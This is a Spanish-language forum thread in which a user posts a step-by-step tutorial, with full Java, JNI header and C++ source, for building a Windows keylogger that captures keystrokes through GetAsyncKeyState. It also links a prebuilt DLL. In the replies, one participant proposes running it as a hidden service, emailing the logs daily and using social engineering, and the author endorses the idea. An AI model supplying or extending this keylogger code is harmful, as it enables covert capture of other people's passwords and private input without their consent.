[Tutorial] Keylogger en Java (JNI)

Iniciado por Leyer, 24 Noviembre 2009, 02:27 AM

0 Miembros y 1 Visitante están viendo este tema.

Leyer

Hola a todos!  ::) Aqui les traigo mi tutorial sobre como programar un Keylogger en java usando JNI y DEV++

Necesitas los archivos:

jni_md.h
http://www.mediafire.com/?wt30y33j4mg

jni.h
http://www.mediafire.com/?zngnmognn5h


Los cuales incluiran en  el directorio "C:\Archivos de programa\Dev-Cpp\include"


  • Paso 1: Creación del Archivo .java

Importante: No tiene que estar en ningun Package

Código (java) [Seleccionar]

public class Keylogger extends Thread {
private boolean   running=true;
private int       value =0;
private native int get();
static {
System.loadLibrary("Keylogger");
/**
* Carga de la DLL
*/
}
@Override
public synchronized void run(){
while(running){
value = get();
/**
* Optenemos la Tecla Precionada
*/
System.out.println((char)value);
/**
* La Mostramos en la Salida Estandar
*/
}
}

}


  • Paso 2: Creación del .bat para compilacion JNI (Opcional)

Nombre: CompilerJNI.bat

Código (bash) [Seleccionar]
@echo off
title Java
set/p j= .java :
echo.
call javac %j%.java
call javah -jni %j%

pause
echo.
exit


  • Paso 3:  Generando el . Class y la Cabecera .h (JNI)

Ejecutamos el CompilerJNI.bat y le pasamos el Archivo .java (Keylogger.java) sin la extension.

Podrias compilar direcamente desde la consola

javac Keylogger.java
javah -jni Keylogger


Tienes que tener algun JDK

  • Paso 4:  Generando la DLL

Abrimos el DEV++
File--->New---->Project--->DLL



Luego veremos 2 Archivos (dllMain.cpp)  y la cabecera .h (dll.h) ,

remplazamos el contenido del dll.h por la del Keylogger.h y guardamos como Keylogger.h.


/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>/* Header for class Keylogger */
#ifndef _Included_Keylogger
#define _Included_Keylogger
#ifdef __cplusplus
extern "C" {
   #endif
   #undef Keylogger_MIN_PRIORITY
   #define Keylogger_MIN_PRIORITY 1L
   #undef Keylogger_NORM_PRIORITY
   #define Keylogger_NORM_PRIORITY 5L
   #undef Keylogger_MAX_PRIORITY
   #define Keylogger_MAX_PRIORITY 10L
   #undef Keylogger_DELAY
   #define Keylogger_DELAY 20L
   /** Class: Keylogger
    * Method:    get
    * Signature: ()I
    */
   
   JNIEXPORT jint JNICALL Java_Keylogger_get  (JNIEnv *, jobject);
   #ifdef __cplusplus
   }
   #endif
   #endif


    Si da problemas
    Este archivo tiene que estar en
C:\Archivos de programa\Dev-Cpp\include

ahora remplazar el contenido de dllMain.cpp por este:

[/list]
Código (cpp) [Seleccionar]

#include <iostream>
#include <windows.h>
#include <fstream>
#include <jni.h>
#include "Keylogger.h"
JNIEXPORT jint JNICALL Java_Keylogger_get(JNIEnv* env, jobject obj){
 while(true){
       for(int c=8;c<=222;c++){
        if(GetAsyncKeyState(c)==-32767)
           return c;  
       }        
    Sleep(30);  
    }
}


Y guardar como Keylogger.cpp

Una ves que tengamos El Keylogger.cpp y el Keylogger.h listos en nuestro proyecto Compilamos para generar la DLL

Y listo solo tendriamos que incluir la libreria al lado del Keylogger.java o .class y ejecutar para iniciar el keylogger.

Código (java) [Seleccionar]

public class Main {
public static void main(String[] args) {
new Keylogger().start();
}
}


Aqui les dejo la DLL Keylogger.dll
http://www.mediafire.com/?e03u9r0emaerf9g

Un Saludo.

Blitzkrieg'




Leyer

#2
 :) gracias Crapsalot

Saludos

cooljsh

olap, una consulta, para que tu keylogger sea mas "productivo" xD   no seria mejor ponerlo como servicio (con el wrapper x ejemplo) y en lugar de escribir en consola guardarlo en un archivo de texto, y que diariamente envie a un correo ya establecidoa traves de javaMail x ejemplo  :)  y con un poco de ingenieria social ... xD  . supongo k tenias eso en mente pero no lo colocaste por etica ... igual supongo k mi idea no fue la primera ni sera la ultima U_U

lo k si estoy un poco en duda, es si lo que hiciste no seria mejor con JNA ??  simplemente el trabajo seria ubicar la DLL del api de windows que captura los eventos del teclado, el problema es cual ???   alguien sabe ??   en lo personal me parece mas facil y transparente usar JNA ....   

de todas maneras se agradece el aporte  :)

cooljsh

estuve siguiendo tus pasos, y tuve problemas en el DevCpp  , cuando intento compilar para generar el DLL  no encuentra el jni.h     como hago para solucionar eso ???


cooljsh

ya lo solucione, tenia k llevar los .h  del jdk  U_U

pero la duda es como lo ejecuto ??  osea estuve haciendo un ekivalente en netbeans con su package y tiene problemas en ejecutar el  javah -jni ... sale que no encuentra la clase o algo por el estilo ....  haber si me das una mano


Leyer

Cita de: cooljsh en 26 Marzo 2010, 15:12 PM
olap, una consulta, para que tu keylogger sea mas "productivo" xD   no seria mejor ponerlo como servicio (con el wrapper x ejemplo) y en lugar de escribir en consola guardarlo en un archivo de texto, y que diariamente envie a un correo ya establecidoa traves de javaMail x ejemplo  :)  y con un poco de ingenieria social ... xD  . supongo k tenias eso en mente pero no lo colocaste por etica ... igual supongo k mi idea no fue la primera ni sera la ultima U_U

lo k si estoy un poco en duda, es si lo que hiciste no seria mejor con JNA ??  simplemente el trabajo seria ubicar la DLL del api de windows que captura los eventos del teclado, el problema es cual ???   alguien sabe ??   en lo personal me parece mas facil y transparente usar JNA ....   

de todas maneras se agradece el aporte  :)

Eso lo pense cuando lo estaba haciendo jaja de enviar al email pero eso algo simple de hacer ademas esa esta es la base, cada quien vera que es lo que quiere hacer ;)

-------------------------
Y por que no Use JNA, simple no domino Jna  :P, solamente he hecho una consola para linux en JNA y es mucho :xD

-------------------------


Cita de: cooljsh en 26 Marzo 2010, 16:01 PM
ya lo solucione, tenia k llevar los .h  del jdk  U_U

pero la duda es como lo ejecuto ??  osea estuve haciendo un ekivalente en netbeans con su package y tiene problemas en ejecutar el  javah -jni ... sale que no encuentra la clase o algo por el estilo ....  haber si me das una mano




Tienes que especificas mas, y en que paso te has quedado

sapito169

#7
no se si soy el unico que tine problemas para ver dos imagenes de tu post probablemente el link esta roto no sera mucha molestia corregirlo
muy buen aporte es bueno tener buenos post  :D
bueno apenas tenga tiempo voy a ponerle unas interfases o clases abstractas para que el resto pueda modificarlo para su sistema operativo(herencia) ademas voy a tratar de crearle un gui
luego lo voy a conpartir con ustedes
si alguno gusta me pone unas historias de usuario y pruevas de aceptacion  ::)
tengo el presentimiento de que este topic va a ser muyyyy largo  :xD

egyware

Y dale programando con DevCpp programa con Codeblocks
usar DevCpp es como usar el primer IE
bueno en fin
Buen tutorial men ;)

Leyer

#9
Cita de: rubencito75 en 29 Marzo 2010, 16:19 PM
He seguido este tutorial y no consigo saber como se hace el paso 2. Yo lo he intentado hacer de una manera lo más parecido posible:
1- Con el netbeans 6.8 he creado un nuevo proyecto y he compilado la clase keylogger.
2- En el segundo paso, como no sabía como se hacia, he copiado los archivos Keylogger.java y Keylogger.class (generados por el netbeans) a una carpeta vacia y en la consola de windows he puesto el siguiente comando: "javah Keylogger" para generar el archivo de cabecera "Keylogger.h".
3- Ese archivo de cabecera lo he renombrado a keylog.h, lo he copiado a la misma carpeta donde se generan los archivos del c++ y lo he importado al keylogger.cpp (sustituyendo el dll.h como se indica en el tutorial). He copiado el codigo del paso 4 tal cual viene y he compilado.
4- Una vez generado el archivo keylogger.dll, he copiado este archivo a las carpetas /src y /build/classes (donde están los archivos .java y .class respectivamente). Luego he creado una clase Main con su metodo main para ejecutar el keylogger.

He seguido esos pasos pero me da error al ejecutar el codigo java:
Exception in thread "main" java.lang.UnsatisfiedLinkError: no Keylogger in java.library.path
       at java.lang.ClassLoader.loadLibrary(ClassLoader.java:1734)
       at java.lang.Runtime.loadLibrary0(Runtime.java:823)
       at java.lang.System.loadLibrary(System.java:1028)
       at Keylogger.<clinit>(Keylogger.java:6)
       at Main.main(Main.java:7)
Java Result: 1

Me da error en la siguiente linea:
System.loadLibrary ("Keylogger");  //Preparamos la carga de la DLL

He probado a renombrar "Keylogger" por "keylogger" y "keylogger.dll" pero me da el mismo error todo el rato. ¿Alguno sabe por qué puede ser?

1. La libreria tiene que estar fuera del src y bin, y asegurate de que el .java no este en ningun package
2. No se por que le da errores creo que mas facil explicado imposible :( yo le he probado cientos de veces y no tengo problemas con nada  :xD



Cita de: sapito169 en 29 Marzo 2010, 16:42 PM
no se si soy el unico que tine problemas para ver dos imagenes de tu post probablemente el link esta roto no sera mucha molestia corregirlo
muy buen aporte es bueno tener buenos post  :D
bueno apenas tenga tiempo voy a ponerle unas interfases o clases abstractas para que el resto pueda modificarlo para su sistema operativo(herencia) ademas voy a tratar de crearle un gui
luego lo voy a conpartir con ustedes
si alguno gusta me pone unas historias de usuario y pruevas de aceptacion  ::)
tengo el presentimiento de que este topic va a ser muyyyy largo  :xD

Cierto hay problemas con algunas img, lo solucionare a penas instale vbox :xD

PD: egyware creo que tenemos que teminar lo que tenemos pendiente :¬¬ :xD